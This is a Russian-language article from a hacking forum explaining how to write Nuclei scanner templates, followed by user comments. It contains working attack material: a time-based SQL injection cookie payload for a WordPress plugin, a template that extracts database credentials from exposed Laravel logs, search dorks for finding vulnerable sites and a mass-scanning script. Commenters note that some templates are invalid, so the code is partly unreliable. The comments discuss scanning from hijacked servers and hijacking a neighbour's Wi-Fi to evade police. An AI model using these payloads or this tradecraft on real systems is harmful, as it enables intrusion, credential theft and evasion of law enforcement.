Статья Сканер Nuclei — что за зверь и как писать шаблоны?

miserylord · 10.11.2024

Автор: miserylord
Эксклюзивно для форума: xss.pro

Вечер в сети, miserylord на связи!

В этой статье речь пойдет о сканере уязвимостей Nuclei. Разберем, чем этот сканер отличается от других, а также рассмотрим, как создавать собственные шаблоны для расширения его возможностей.

Особенности Nuclei

Что представляет собой стандартный сканер? Обычно это заранее загруженный пакет скриптов, который проверяет ресурсы на определенные уязвимости. Пользователь, как правило, не может вмешаться в работу скриптов или расширить существующий пул проверок. Но Nuclei — совсем другое дело.

Nuclei — это современный сканер уязвимостей с открытым исходным кодом, написанный на Golang. Он создавался с акцентом на гибкость и расширяемость. Его ключевая особенность — использование шаблонов (templates), которые описывают конкретные уязвимости или методы обнаружения. Шаблоны в Nuclei — это файлы на языке YAML, где можно детально задавать параметры проверки, такие как HTTP-запросы, заголовки, параметры URL, условия для успешного обнаружения уязвимости и т. д. Такой подход позволяет легко настраивать сканер под конкретные нужды, добавлять кастомные проверки и создавать новые сценарии тестирования.

Архитектура Nuclei устроена так, что добавление новых шаблонов не требует изменений в коде самого сканера — достаточно создать или скачать нужный YAML-шаблон, и Nuclei сможет его использовать автоматически.

С помощью Nuclei можно обнаруживать различные типы уязвимостей, помимо стандартных XSS/SQL, включая попытки выявить Race Condition, а также использовать Fuzzing с методами, аналогичными Burp Suite (Cluster Bomb, Pitchfork, Battering Ram). Для отладки шаблонов можно использовать Burp Suite в качестве прокси.

Установка

Скачать Nuclei можно из официального репозитория на GitHub: GitHub - projectdiscovery/nuclei: Nuclei is a fast, customizable vulnerability scanner powered by the global security community.... Процесс установки описан в Installing Nuclei - ProjectDiscovery Documentation. Рекомендуется установка через Git; обратите внимание, для работы программы требуется актуальная версия Golang на компьютере.

Где брать шаблоны? В соседнем репозитории на GitHub: GitHub - projectdiscovery/nuclei-templates: Community curated list of templates for the nuclei engine....

Обратите внимание, шаблоны должны иметь расширение YAML (формат YML не подходит). Для начала работы введите команду nuclei -u "http://testphp.vulnweb.com" -t nuclei-templates/network/, указывая папку с шаблонами — nuclei рекурсивно найдет все шаблоны в указанной папке и её подкаталогах. Список целей можно загрузить из текстового файла: nuclei -targets urls.txt. Подробности можно узнать с помощью nuclei -help.

Создание собственных шаблонов

Переходим к практике. Подробной документации по процессу разработки шаблонов я не обнаружил; в основном доступны готовые шаблоны и курс от специалиста из Индии, найденный в социальных сетях. По сути, создание шаблона — это разработка эксплойта под конкретные уязвимости из базы CVE. Открываем базу данных CVE и начинаем поиск уязвимостей.

Официальная база CVE - NVD - General, мне комфортно работать с https://www.cvedetails.com/. Если это ваши первые попытки в написании эксплоитов, лучше всего будет воспользоваться https://www.exploit-db.com/, поскольку описания уязвимостей там максимально подробные, зачастую с готовым эксплоитом.

Но начнем с чего-то попроще, а именно найдем раскрытия информации. Узнав версии служб, работающих на сервере, откроется возможность найти уязвимости под них. Обнаружение происходит следующим образом: в ответ на запрос сервер присылает ответ, и если в нем содержатся специфические заголовки, происходит раскрытие информации. Возьмем к примеру Django — это фреймворк для веб-разработки на языке Python. Если на сервере запущен Django, он может (но вовсе не обязан) вернуть заголовок X-Powered-By: Django. Используя Shodan, найдем ресурсы, которые действительно отдают такие заголовки. Обратим внимание на формат, чтобы парсить результаты корректно. Этого достаточно, переходим к написанию шаблона.

YAML:

id: django-use-version

info:
  name: The use of Django detected
  author: a
  severity: info
  description: The server is using Django
  tags: tech, django

requests:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - 'Django[/-][\w.]+'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        regex:
          - 'Django[/-][\w.]+'

В блоке id указывается информация, которая отобразится в консоли при успешном срабатывании шаблона. Блок info ниже служит для пользователя шаблона, в нем указывается название, имя автора, уровень серьезности, краткое описание того, что делает шаблон, а также теги для классификации (в Nuclei есть возможность запустить пачку шаблонов, используя метки). Секция requests описывает HTTP-запрос, который Nuclei будет отправлять для выполнения проверки. Здесь используется метод GET, чтобы запросить страницу с базового URL-адреса. "{{BaseURL}}" — переменная, которая будет заменена на базовый URL при запуске сканирования. В Nuclei существует пул зарезервированных переменных, это одна из них. BaseURL — это URL, который передается в CLI при запуске. matchers-condition: "and" — указывает, что для выполнения шаблона должны быть выполнены все условия в секции matchers (логическое И). Секция matchers определяет условия для проверки ответа. В данном шаблоне два условия: это поиск по регулярному выражению в заголовке (указываем с помощью part), и regex Django[/-][\w.]+. Регулярное выражение составлено на основе анализа Shodan; оно должно захватывать как Django/1.2.1 SVN-13336, так и Django-Ruby1.1, а также просто Django/1.2.1. Регулярное выражение ищет слово "Django", за которым следует символ "/" или "-", и за ним следует версия Django. \w — это символ любого слова, а . — символ точки. Вторым условием выступает статус, он должен быть 200 OK. Это условие позволяет убедиться, что ресурс доступен, и только тогда проверять его заголовки. Секция extractors используется для извлечения конкретной информации из ответа, если шаблон находит совпадение. Использует регулярное выражение для извлечения информации. Указываем, что данные будут извлекаться из заголовков HTTP-ответа.

Проверяем и видим, что шаблон работает.

Пойдем дальше и возьмем CVE-2024-29291. О чем эта CVE? В Laravel Framework 11 (11-й версии популярного PHP-фреймворка для веб-разработки) возможна утечка учетных данных. Вредоносный субъект может получить доступ к файлу логов приложения — laravel.log, где хранится информация о подключении к базе данных, включая имя пользователя и пароль. Чтобы воспроизвести уязвимость, достаточно открыть файл логов и выполнить поиск по строке, содержащей конструкцию PDO для подключения к MySQL. Это может привести к компрометации базы данных приложения.

Подробнее можно почитать на Exploit DB — Laravel Framework 11 - Credential Leakage - PHP webapps Exploit.

Стоит сразу отметить, что не каждый laravel.log раскроет эти данные, а также не каждый лог будет находиться по корневому маршруту URL /storage/logs/laravel.log. Тем не менее, мы можем написать шаблон, который сработает в ряде случаев.

Вообще, такие сайты можно найти с помощью дорков inurl:"/storage/logs/laravel.log" или inurl /storage/logs/laravel.log. Первая дорка найдет именно сами файлы laravel.log, а вторая преимущественно — директории Index of с файлами laravel.log. Подробнее о дорках можно почитать в этой статье.

Теперь перейдем к написанию шаблона:

YAML:

id: cve-2024-29291

info:
  name: Laravel Framework 11 - Credential Leakage
  author: a
  severity: info
  description: CVE-2024-29291
  tags: php, laravel, mysql

requests:
  - method: GET
    path:
      - "{{BaseURL}}/storage/logs/laravel.log"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'PDO->__construct'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - "PDO->__construct\\('([^']+)',\\s*'([^']+)',\\s*'([^']+)'"

К ссылке в параметре path добавляем путь, по которому могут находиться логи — /storage/logs/laravel.log. Меняем параметр part на body, так как нас интересует поиск данных в теле ответа. Для определения наличия уязвимости я буду использовать регулярное выражение с точным вхождением фразы PDO->__construct; если она есть в логах, nuclei определит наличие уязвимости как позитивное (даже если блок extractors не сработает). Регулярное выражение для extractors извлечет всю строку подключения — хост, логин, пароль (часть этих данных будет скрыта, поэтому потребуется дополнительная работа после обнаружения). В нем используются три группы захвата для извлечения данных в ''.

В целом, процесс работы следующий: находим интересующую уязвимость, внимательно изучаем принцип её работы, разбиваем на части, анализируем другие шаблоны, в которых встречается подобная уязвимость, и редактируем шаблон, подставляя свои значения.

Возьмем, к примеру, CVE-2023-6063. Это SQL-уязвимость в плагине WP Fastest Cache для WordPress. Подробнее о SQL-инъекциях можно почитать в этой статье, а о взломе WordPress я расскажу в ближайшее время. На Exploit DB под эту CVE уже написан эксплоит на PHP; его можно переписать на Nuclei: WP Fastest Cache 1.2.2 - Unauthenticated SQL Injection - PHP webapps Exploit.

Нам необходимо передать в заголовках необходимые куки, содержащие SQL-инъекцию, а также добавить проверку на задержку в 5 секунд для подтверждения SQL-инъекции. Используем DSL-секцию для проверки времени ответа, чтобы удостовериться, что оно превышает 5 секунд, что указывает на успешное выполнение SQL-задержки.

YAML:

id: cve-2023-6063
info:
  name: Unauthenticated SQL Injection in WP Fastest Cache 1.2.2
  author: a
  severity: critical
  description: cve-2023-6063
  tags: wordpress, sql-injection, wp-fastest-cache

requests:
  - method: GET
    path:
      - "{{BaseURL}}"

    headers:
      Cookie: "wordpress_logged_in_1=%22 AND (SELECT 1 FROM (SELECT(SLEEP(5)))A) AND %221%22=%221"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: dsl
        dsl:
          - "response.time > 5000"

Фреймворк умеет работать не только с HTTP и может использоваться не только для веб-приложений. Возьмем, к примеру, Ricoh Printer - Directory and File Exposure - Hardware Remote Exploit. Эксплоит (EDB-ID 51755) связан с уязвимостью в принтерах Ricoh, позволяющей неавторизованный доступ к системным файлам через FTP. Злоумышленники могут подключиться к принтеру как гости и получать доступ к таким файлам, как журналы и статистика. Уязвимость затрагивает все версии принтеров Ricoh. Перепишем код на Nuclei.

YAML:

id: ricoh-printer-ftp-guest-access

info:
  name: Ricoh Printer FTP Guest Access
  author: a
  severity: low
  description: Checks for anonymous guest FTP access on Ricoh printers.
  tags: ricoh,ftp,guest

requests:
  - raw:
      - |
        USER guest
        PASS guest
    protocol: ftp
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "230 Guest login ok"

      - type: status
        status:
          - 230

    extractors:
      - type: regex
        part: response_body
        regex:
          - "^(\\d+).*\r\n"

Используем сырой запрос FTP, где USER и PASS — логин и пароль. Условия, которые должны выполняться для успешного срабатывания: type: word: — проверяем наличие определенных слов в ответе (например, "230 Guest login ok"); type: status: — проверка статуса успешного входа (код 230); extractors: — используем регулярное выражение для извлечения списка файлов из ответа.

Итоги

На просторах GitHub можно найти расширенный список конфигурационных файлов. Добавив их в одну директорию, получится удобно и относительно успешно запускать массовые сканирования, собрав пакет эксплоитов под себя. Nuclei вроде как ограничивает количество запущенных горутин сканирования, что можно обойти скриптом:

C-подобный:

package main

import (
    "bufio"
    "fmt"
    "os"
    "os/exec"
    "strings"
    "sync"
)

// 1
const (
    urlsFilePath = "URLs.txt"
    logFilePath  = "scan.txt"
    maxGoroutines = 30      
)

// 2
func runNuclei(url string, wg *sync.WaitGroup, mutex *sync.Mutex, sem chan struct{}) {
    defer wg.Done()
    // 3
    defer func() { <-sem }()

    // 4
    cmd := exec.Command("nuclei", "-u", url, "-t", "mytp/")

    // 5
    output, err := cmd.CombinedOutput()
    if err != nil {
        fmt.Printf("Ошибка при выполнении nuclei для %s: %v\n", url, err)
    }

    // 6
    mutex.Lock()
    defer mutex.Unlock()

    file, err := os.OpenFile(logFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        fmt.Printf("Ошибка при открытии файла лога: %v\n", err)
        return
    }
    defer file.Close()

    _, err = file.WriteString(fmt.Sprintf("Результат для %s:\n%s\n", url, output))
    if err != nil {
        fmt.Printf("Ошибка при записи в файл лога: %v\n", err)
    }
}

// 7
func main() {
    file, err := os.Open(urlsFilePath)
    if err != nil {
        fmt.Printf("Ошибка при открытии файла с URL-адресами: %v\n", err)
        return
    }
    defer file.Close()

    // 8
    scanner := bufio.NewScanner(file)
    var wg sync.WaitGroup
    var mutex sync.Mutex

    // 9
    sem := make(chan struct{}, maxGoroutines)

    for scanner.Scan() {
        url := strings.TrimSpace(scanner.Text())
        if url == "" {
            continue
        }

        wg.Add(1)
        sem <- struct{}{} // 10
        go runNuclei(url, &wg, &mutex, sem)
    }

    if err := scanner.Err(); err != nil {
        fmt.Printf("Ошибка при чтении файла с URL-адресами: %v\n", err)
    }

    wg.Wait()
    fmt.Println("Сканирование завершено, результаты записаны в файл.")
}

Путь к файлу с URL-адресами и лог-файлу, а также максимальному количеству горутин.
Функция для запуска Nuclei на заданном URL и записи результатов в лог.
Освобождаем слот в семафоре по окончании работы.
Формируем команду для Nuclei.
Выполняем команду и получаем вывод.
Пишем вывод в лог-файл, используя мьютекс для безопасного доступа.
Главная функция программы.
Сканируем файл и запускаем горутины для каждого URL.
Канал для ограничения количества горутин.
Блокируем слот в семафоре.

Подробнее о горутинах можно прочитать в этой статье.

Единственный момент — никто не гарантирует корректную работу файлов, и в идеале необходимо перепроверять работу каждого из них.

В целом, это очень интересный и необычный фреймворк для написания эксплоитов. На самом деле, писать их на фреймворке или без него — это вопрос.

Трям! Пока!

k1ddddos · 10.11.2024

очень круто! жду продолжение статей на эту тему

zdestuta · 11.11.2024

miserylord , просто шикарно! побольше таких статей! я вот (внезапно, гыг, аж стыдно) узнал что Nuclei может и raw реквесты делать, не только http.
А насколько Nuclei быстр (можно по личным ощущениям) ? например есть 100k доменов и их надо просто и тупо проверить на версию CMS (при условии что интернет канал стандартный 100 мегабит допустим) ?

Ну и не по теме немного: где нарыть списки доменов (фаззинг не предлагать!

) актуальные, ну например тупо по TLD типа .de или .au все домены например? (ясен пень оно всё меняется, но хотя бы snapshot сделать там многогигабайтный TXT получиться должен - по нему и бегать типа сканить) и если с IP ranges провайдеров и хостеров это понятно, то с доменами более интересный момент, а они актуалнее IP так как у веб серверов vhosts же дофига где

miserylord · 12.11.2024

zdestuta сказал(а):

miserylord , просто шикарно! побольше таких статей! я вот (внезапно, гыг, аж стыдно) узнал что Nuclei может и raw реквесты делать, не только http.
А насколько Nuclei быстр (можно по личным ощущениям) ? например есть 100k доменов и их надо просто и тупо проверить на версию CMS (при условии что интернет канал стандартный 100 мегабит допустим) ?

Ну и не по теме немного: где нарыть списки доменов (фаззинг не предлагать! ) актуальные, ну например тупо по TLD типа .de или .au все домены например? (ясен пень оно всё меняется, но хотя бы snapshot сделать там многогигабайтный TXT получиться должен - по нему и бегать типа сканить) и если с IP ranges провайдеров и хостеров это понятно, то с доменами более интересный момент, а они актуалнее IP так как у веб серверов vhosts же дофига где

Если сравнивать с другими сканерами, то он действительно работает немного (а в каких сценариях, сильно) быстрее.

Если нужно проверить версию СМS то я бы не использовал nuclei, мне видится что это прикольный сканер если собрать с паблика шаблоны, но проблема в том что они могут не работать или не работать так как ожидается, или вообще быть с малишис склейками, и лучше самому написать скрипт на Го с рутинами, возможно эти метрики фейк но согласно некоторым скорость работы горутин выше остальных многопочтоных скриптов, хотя наверное здесь есть но, однако в плане того насколько просто это сделать то я бы выбрал го.

Хороший вопрос, я рассписал про поиск по реверс днс доменов, но там по сути поиск по определенному типу днс записей, и если они не указанны то ничего не будет найденно, и они обычно указанны у госов и мало где, но я в любом случае найду разгадку этого вопроса, но пока что я не знаю способа найти все домены по тлд.

Nick Diesel · 12.11.2024

zdestuta сказал(а):

miserylord , просто шикарно! побольше таких статей! я вот (внезапно, гыг, аж стыдно) узнал что Nuclei может и raw реквесты делать, не только http.
А насколько Nuclei быстр (можно по личным ощущениям) ? например есть 100k доменов и их надо просто и тупо проверить на версию CMS (при условии что интернет канал стандартный 100 мегабит допустим) ?

Ну и не по теме немного: где нарыть списки доменов (фаззинг не предлагать! ) актуальные, ну например тупо по TLD типа .de или .au все домены например? (ясен пень оно всё меняется, но хотя бы snapshot сделать там многогигабайтный TXT получиться должен - по нему и бегать типа сканить) и если с IP ranges провайдеров и хостеров это понятно, то с доменами более интересный момент, а они актуалнее IP так как у веб серверов vhosts же дофига где

Касаемо сравнений.
httpx (от них же) - он проходит 1кк хостов (при параметрах -t 1000 -td -timeout 2) ~ за 12 часов.
nuclei с тем же количеством и с 2-мя templates (при параметрах -rl 0 -bs 1000) ~ за 3 часа.
Удалил стату - высчитывал, что лучше будет.

blackhunt · 12.11.2024

Very cool article!

reewardius · 13.11.2024

Very cool? Вы серьезно? Автор перестань писать темплейты через chatgpt.

Теперь по полочкам:
1. Какой к черту requests в FTP? Там должно быть TCP, и такого понятия как protocol: ftp в nuclei вообще не существует.

Должно быть вот так:

2. По поводу time-based скуль, в matchers в nuclei нет никакого response.time, а есть только duration

Должно быть вот так

las7hwm4 · 26.11.2024

Кстати, продолжая тему VAPT, я тут летом разбирался в NASL под опенвас, думал это ж целый аттак скриптиг язык ) и как результат вернулся к нуклею, окуню и иксрэю, потому как ни крути все равно он предназначен более для инхауз вулнерабилити менеджмента

reewardius · 30.11.2024

las7hwm4 сказал(а):

Кстати, продолжая тему VAPT, я тут летом разбирался в NASL под опенвас, думал это ж целый аттак скриптиг язык ) и как результат вернулся к нуклею, окуню и иксрэю, потому как ни крути все равно он предназначен более для инхауз вулнерабилити менеджмента

а почему именно XRAY, а не Burp Suite в автоскане?

lost and found · 30.11.2024

Тут можно еще почитать как легко шаблоны делаются https://projectdiscovery.io/blog/ultimate-nuclei-guide

Nick Diesel · 30.11.2024

Ну коли такая пляска.
Держите кастомные - для собственного разбора.

pass: как всегда trehмэстный.

Gofile - Cloud Storage Made Simple

Secure, fast and free cloud storage solution. Upload and share files instantly.

gofile.io

las7hwm4 · 30.11.2024

reewardius сказал(а):

а почему именно XRAY, а не Burp Suite в автоскане?

У каждого конечно свой вокркфлоу и свои тулы. Для меня иксрэй и нуклеи круты в первую очередь тем, что их можно использовать в скриптах. Берп как бы тоже можно, но немного через ж (жаву

). Конечно он тоже всегда под рукой, но совсем в другой форме - в основном когда надо проверить что там нарыли скрипты.

zdestuta · 01.12.2024

las7hwm4 сказал(а):

У каждого конечно свой вокркфлоу и свои тулы. Для меня иксрэй и нуклеи круты в первую очередь тем, что их можно использовать в скриптах. Берп как бы тоже можно, но немного через ж (жаву ). Конечно он тоже всегда под рукой, но совсем в другой форме - в основном когда надо проверить что там нарыли скрипты.

А ещё nuclei консольный в отличие от Burp, что открывает перспективы сканирования с захваченных серверов с толстым каналом.

las7hwm4 · 01.12.2024

zdestuta сказал(а):

А ещё nuclei консольный в отличие от Burp, что открывает перспективы сканирования с захваченных серверов с толстым каналом.

В точку. Лучший прокси - самостоятельно захваченный сервак ) Потом обосновался малехо, захардил чего смог, перекинул свои тулы и погнал дальше.
Кстати, берп и окунь тоже можно и нужно подключать через чизел, шатл и подобные тунели.

mr_dopey · 01.12.2024

Спасибо, за статью! Это оффтоп но вот у меня курёзный вопрос возник workflows можно передавать (если дать название) переменные extractors в дочерные шаблоны. Все работает но вот если в дочерном шаблоне запросы непосредственно обрабатываются code заголовком где всталяется язык программирования Golang / Python / Javascript переменные не обрабатываются это баг или фича?

zdestuta · 01.12.2024

las7hwm4 сказал(а):

Кстати, берп и окунь тоже можно и нужно подключать через чизел, шатл и подобные тунели.

Лучший туннель это "злой сосед" которому решил отомстить. Поясню: ломается его вайфай и если что "маски шоу" придут к нему сначала (IP то его у прова), а не к тебе. А так как MAC логи не ведутся на обычных раутерах и MAC не путешествует дальше раутера, то ты становишься "ацким нинзей", а злой сосед - козлом отпущения

las7hwm4 · 02.12.2024

zdestuta сказал(а):

Лучший туннель это "злой сосед" которому решил отомстить. Поясню: ломается его вайфай и если что "маски шоу" придут к нему сначала (IP то его у прова), а не к тебе. А так как MAC логи не ведутся на обычных раутерах и MAC не путешествует дальше раутера, то ты становишься "ацким нинзей", а злой сосед - козлом отпущения

Очень не советую так прикалываться. Ключевое из твоего - "придут к нему сначала". Но потом полюбасу придут к тебе, дело времени.
Короче, нельзя такого делать никогда. Менты же будут проводить форензику и увидят что у него на компе нидфоспидка просроченная и порнуха, ну и типа видно что это чувак который не мог реализовать днс-эксфильтрацию баз )))
Они же не тупые начнут пробивать, кто тут кто из соседей и на карандаш попадешь стопудов. Берегите себя. Опсек наше все.

zdestuta · 02.12.2024

las7hwm4 сказал(а):

Очень не советую так прикалываться. Ключевое из твоего - "придут к нему сначала". Но потом полюбасу придут к тебе, дело времени.
Короче, нельзя такого делать никогда. Менты же будут проводить форензику и увидят что у него на компе нидфоспидка просроченная и порнуха, ну и типа видно что это чувак который не мог реализовать днс-эксфильтрацию баз )))
Они же не тупые начнут пробивать, кто тут кто из соседей и на карандаш попадешь стопудов. Берегите себя. Опсек наше все.

Ясен пень "сосед" это не "через стенку", а компактной направленной антенной (скрытой разумеется, не на улице и не на камерах - чтобы не светиться).
И ясен пень "сделал дело - свалил" (и MAC разумеется менять у wifi адаптера), а не висеть через "соседа" постоянно.
Механизм "заглядывания в компы в радиусе 1км" сможете пояснить? Менты будут обходить всех в радиусе километра (да вы даже радиус 100м себе представьте - это многоэтажная "коробка" дом примерно) и "брать на карандаш" ?
Да, и разумеется менты поймут, что "это не Вася у которого игрухи и порнуха", однако даже заполучив MAC адаптера (который ессно надо спуфить каждый раз, чтобы был другой) который вот он подключается прям сейчас к роутеру "соседа" (а что там подключалось ранее - на роутере домашнем логи не ведутся же) - что они будут делать? Сможете рассказать так чтобы всем тут понятно стало? (ну представьте что проводите такую форензику)
Это надо чтобы не меньше чем что-то глобальное хакнуть (госучреждение важное или миллиарды денег потырены - но там "прокалываются" обычно на другом - на обнале), а не по мелочи (потырить деньги в размере несколько лямов, до 10 например). Всё это вот "будут пеленговать" (а направленную антенну ты её ещё запеленгуй... диаграмма направленности, знаете-ли) это сказки, и в случае "незначительности деяния"... вы вообще ресурсы на это действие себе представляете?
Пример: в одном городе в новостях вон кто-то обстрелял машины из воздушки шариками с многоэтажки - год назад - менты до сих пор найти не могут! вот это конечно удивляет... хотя чему удивляться - они же не могут "брутфорсом" по квартирам пройтись - чай не убийство а повреждение техники... а тут не шарики и не десятки метров, а радиоволны и сотни метров!
Так что направленная антенна за 1км примерно да ещё вместе со сменой MAC на адаптере - это лучшая защита т.н. "последней мили".
Про "даже в СССР ловили радиохулиганов!" - не канает, так как радиохулиганы старались наоборот ненаправленно (omni) вещать и мощность передатчика и частота была другой - там и "охота на лис" пеленг конечно как здрасьте ментам помогал, а wifi в густонаселённом районе это узкоплолосная связь плюс если антенна направленная то запеленговать эту "иголку в стоге сена" не варик.
Если есть аргументы у вас (радиолюбительские желательно), то было бы интересно. Только чур не выдумывать, а что реально менты противопоставляют этому, с конкретными примерами.

las7hwm4 · 02.12.2024

Топикстартеру:
Прошу прощения, у нас тут немного оффтоп, типа вы нам за нуклеи а мы вам за Степана )

zdestuta сказал(а):

Ясен пень "сосед" это не "через стенку", а компактной направленной антенной (скрытой разумеется, не на улице и не на камерах - чтобы не светиться).
И ясен пень "сделал дело - свалил" (и MAC разумеется менять у wifi адаптера), а не висеть через "соседа" постоянно.
Механизм "заглядывания в компы в радиусе 1км" сможете пояснить? Менты будут обходить всех в радиусе километра (да вы даже радиус 100м себе представьте - это многоэтажная "коробка" дом примерно) и "брать на карандаш" ?
Да, и разумеется менты поймут, что "это не Вася у которого игрухи и порнуха", однако даже заполучив MAC адаптера (который ессно надо спуфить каждый раз, чтобы был другой) который вот он подключается прям сейчас к роутеру "соседа" (а что там подключалось ранее - на роутере домашнем логи не ведутся же) - что они будут делать? Сможете рассказать так чтобы всем тут понятно стало? (ну представьте что проводите такую форензику)
Это надо чтобы не меньше чем что-то глобальное хакнуть (госучреждение важное или миллиарды денег потырены - но там "прокалываются" обычно на другом - на обнале), а не по мелочи (потырить деньги в размере несколько лямов, до 10 например). Всё это вот "будут пеленговать" (а направленную антенну ты её ещё запеленгуй... диаграмма направленности, знаете-ли) это сказки, и в случае "незначительности деяния"... вы вообще ресурсы на это действие себе представляете?
Пример: в одном городе в новостях вон кто-то обстрелял машины из воздушки шариками с многоэтажки - год назад - менты до сих пор найти не могут! вот это конечно удивляет... хотя чему удивляться - они же не могут "брутфорсом" по квартирам пройтись - чай не убийство а повреждение техники... а тут не шарики и не десятки метров, а радиоволны и сотни метров!
Так что направленная антенна за 1км примерно да ещё вместе со сменой MAC на адаптере - это лучшая защита т.н. "последней мили".
Про "даже в СССР ловили радиохулиганов!" - не канает, так как радиохулиганы старались наоборот ненаправленно (omni) вещать и мощность передатчика и частота была другой - там и "охота на лис" пеленг конечно как здрасьте ментам помогал, а wifi в густонаселённом районе это узкоплолосная связь плюс если антенна направленная то запеленговать эту "иголку в стоге сена" не варик.
Если есть аргументы у вас (радиолюбительские желательно), то было бы интересно. Только чур не выдумывать, а что реально менты противопоставляют этому, с конкретными примерами.

Направленная антенна на 1 км в густонаселенном районе с высотками, радиоволны, диаграмма направленности, пеленги и спуф мак-адреса - это вполне рабочая схема, согласен полностью )) Очень даже крутой сетапчик
Но сударь - это новые вводные, а нас могут читать дети, которые могут взять ваш предыдущий пост и таки хакнуть соседа за стеной )) Только поэтому я немного стреманул скрипткиддис. Рад что вы развернули свой ответ, теперь все тип-топ

Есчесно, захват проксиков - это дело скилов и вкуса. Тут все варианты хороши, если работать спокойно и с мозгами.
Я например свое гео параною даже на 1 км и предпочитаю находить вордпресики 5.х с рсе и подобную халяву.
Твой вариант, конечно подкупает толстым соседским каналом, но с антенами лично я запариваться не готов (пока, кто знает?) ибо важен вопрос - что с захваченными хостами надо делать дальше. Для моих целей зомбики на шеринговых хостингах очень даже подходят. Так и живем

zdestuta · 02.12.2024

las7hwm4 сказал(а):

а нас могут читать дети, которые могут взять ваш предыдущий пост и таки хакнуть соседа за стеной )) Только поэтому я немного стреманул скрипткиддис.

да, "дети" если кто и если читаете это - слушайте дядю см. выше: соседа прям за стенкой и правда хакать ни в коем случае не надо - вычислят!

направленная антенна - это не так уж и сложно, банка из под чипсов "фринглс" - вполне рабочий вариант дающий сотни метров, сам удивлялся когда за 5 минут сварганил! также хорош "друшлаг чугуниевый образца среднего СССР" - работает не хуже антены такого же диаметра (30-35 см) от hawking technologies (довелось сравнить, друшлаг удивил несказанно, у хокинга правда ещё усилок был - это ему конечно добавило форы). но вообще при наличии фантазии и зонтик можно же фольгой обделать изнутри, ну камон, банка из под "фринглс" это же тоже картонка плотная, внутри обделанная фольгой, а работает!

при этом всём (захват wifi) - проксики и VPN никто не отменял же - как допзащиту. однако напрямую через своего провайдера если лезть да тем более на "самозахваченый" прокси, то картина для провайдеров такая: на хост вот такие входящие соединения и вот такие исходящие, а ещё это дело не на прокси а у провайдеров - хранится некоторое время. поэтому по горячим следам вполне могут "сопоставить", ну хотя бы по времени соединений к таргету от проски и к прокси кто в это время делал TCP коннект - уже даже по времени палевно маленько. и вот тут на выручку и придёт "вайфай соседа" но не ближайшего соседа конечно же.

в общем народная мудрость гласит: хочешь спрятать дерево - прячь его в лесу!

ибо в поле даже если дерево превратить в "большой стог", закидав сеном, - уж очень подозрительный этот стог высоты нехарактерной будет.

Статья Сканер Nuclei — что за зверь и как писать шаблоны?

RAID-массив

(L3) cache

(L1) cache

RAID-массив

database_broker

(L2) cache

floppy-диск

Вложения

floppy-диск

floppy-диск

RAID-массив

database_broker

floppy-диск

(L1) cache

floppy-диск

RAID-массив

(L1) cache

floppy-диск

(L1) cache

floppy-диск

(L1) cache